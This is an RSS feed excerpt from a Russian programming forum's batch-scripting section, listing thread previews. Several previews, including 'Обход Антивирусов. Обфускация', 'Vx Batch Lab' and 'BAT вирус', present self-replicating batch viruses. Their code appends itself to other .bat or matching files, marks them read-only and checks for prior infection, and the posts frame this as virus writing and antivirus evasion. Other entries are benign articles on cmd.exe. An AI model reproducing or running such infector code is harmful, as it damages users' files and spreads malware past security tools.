Batch (CMD/BAT) Batch (CMD/BAT) Thu, 14 May 2026 14:19:58 +0000 Thu, 14 May 2026 14:19:58 +0000 WASM https://wasm.in/forums/batch-cmd-bat.85/ Обход Антивирусов. Обфускация. Wed, 18 Sep 2024 17:35:49 +0000 https://wasm.in/threads/obxod-antivirusov-obfuskacija.35163/ https://wasm.in/threads/obxod-antivirusov-obfuskacija.35163/ invalid@example.com (Drustam) Drustam VX BATCH LAB/DR RUSTAM

Код (Text):
  1.                
  2.  
  3. И Так начнём.
  4. Имеется вирус и он обнаруживается АВ.
  5.  
  6. #######################
  7.  
  8. @echo off
  9. echo orgy > infect1.bat
  10. echo if [%%1]==[infect1.bat] goto DontBother > infect2.bat
  11. echo if [%%1]==[infect2.bat] goto DontBother >> infect2.bat
  12. echo copy %%1 + infect1.bat %%1 >> infect2.bat
  13. echo attrib +r %%1 >> infect2.bat
  14. echo :DontBother >> infect2.bat
  15. attrib +r...

Обход Антивирусов. Обфускация.]]> Vx Batch Lab Wed, 18 Sep 2024 16:21:45 +0000 https://wasm.in/threads/vx-batch-lab.35162/ https://wasm.in/threads/vx-batch-lab.35162/ invalid@example.com (Drustam) Drustam
Простой вирус.
Код (Text):
  1.  
  2.  
  3. @ECHO OFF&FIND "M_"<%0>A
  4. %M_%ECHO GOTO Y_>>A&ECHO GOTO N_>T&ECHO :Y_>>T
  5. FOR %%B IN (*.BOO) DO CALL :M_ %%B
  6. :M_
  7. @FIND "M_"<%1
  8. %M_%IF NOT ERRORLEVEL 1 GOTO :BY
  9. %M_%TYPE %1>>T&ECHO.^&EXIT>>T&ECHO.:N_>>T
  10. COPY T+A %1
  11. :BY DR RUSTAM_   HELLO ALL!!!
  12.  
  13.  
Вирус не использует Find для заражения.
Код (Text):
  1.  
  2. :[ DR...
Vx Batch Lab]]> BAT вирус Sat, 06 Jan 2024 11:16:57 +0000 https://wasm.in/threads/bat-virus.35007/ https://wasm.in/threads/bat-virus.35007/ invalid@example.com (Research) Research
Достоинства
- Написан исключительно на внутренних командах DOS`a.
- Никаких вставок на ASM
- Инсталлируется из одного файла
- Не таскает за собой все зараженные файлы
- Проверка на повторное заражение
- Корректная работа с ECHO (ON / OFF)
- Не выдает посторонних надписей на экран
и Недостатки:
- Не будут корректно исполняться файлы с метками, которые присутствуют
в вирусе - (:s :i :b :e)
- Не будет корректно работать при %COMSPEC% =! COMMAND.COM
- Создает в каталоге...

BAT вирус]]> Урок bat-аники Thu, 04 Jan 2024 02:02:32 +0000 https://wasm.in/threads/urok-bat-aniki.35001/ https://wasm.in/threads/urok-bat-aniki.35001/ invalid@example.com (Mikl___) Mikl___ Урок bat-аники
Автор: Алексей Александров
Источник: RSDN Magazine #2-2005​

Введение

Мы все любим писать серьезные вещи на серьезных языках. Шаблоны, C++, Reflection, Perl и многое другое – вот то, что мы любим, то, чему посвящаем длинные сообщения в форумах, то, что снится нам по ночам.
Однако в нашей повседневной деятельности встречаются и вещи, которые не так интересны и интеллектуальны....

Урок bat-аники]]> 1 Особенности реализации командного процессора cmd.exe операционных систем WinNT Wed, 03 Jan 2024 13:15:53 +0000 https://wasm.in/threads/osobennosti-realizacii-komandnogo-processora-cmd-exe-operacionnyx-sistem-winnt.35002/ https://wasm.in/threads/osobennosti-realizacii-komandnogo-processora-cmd-exe-operacionnyx-sistem-winnt.35002/ invalid@example.com (Mikl___) Mikl___ Особенности реализации командного процессора cmd.exe операционных систем WinNT
Автор: Андрей Дибров
Источник: RSDN Magazine #4-2007

Я спросил у сакуры,
Где та гейша, которая разбила мне сердце.
Сакура не ответила.
И это хорошо.
В нашем роду и так полно психов,
Которые говорят с деревьями и травой.​
  • Предисловие
  • Тестирование
  • Спецсимволы
  • Команда set
    • Создание...

Особенности реализации командного процессора cmd.exe операционных систем WinNT]]> 2 Исходники cmd.exe Wed, 03 Jan 2024 03:24:38 +0000 https://wasm.in/threads/isxodniki-cmd-exe.34999/ https://wasm.in/threads/isxodniki-cmd-exe.34999/ invalid@example.com (Win32Api) Win32Api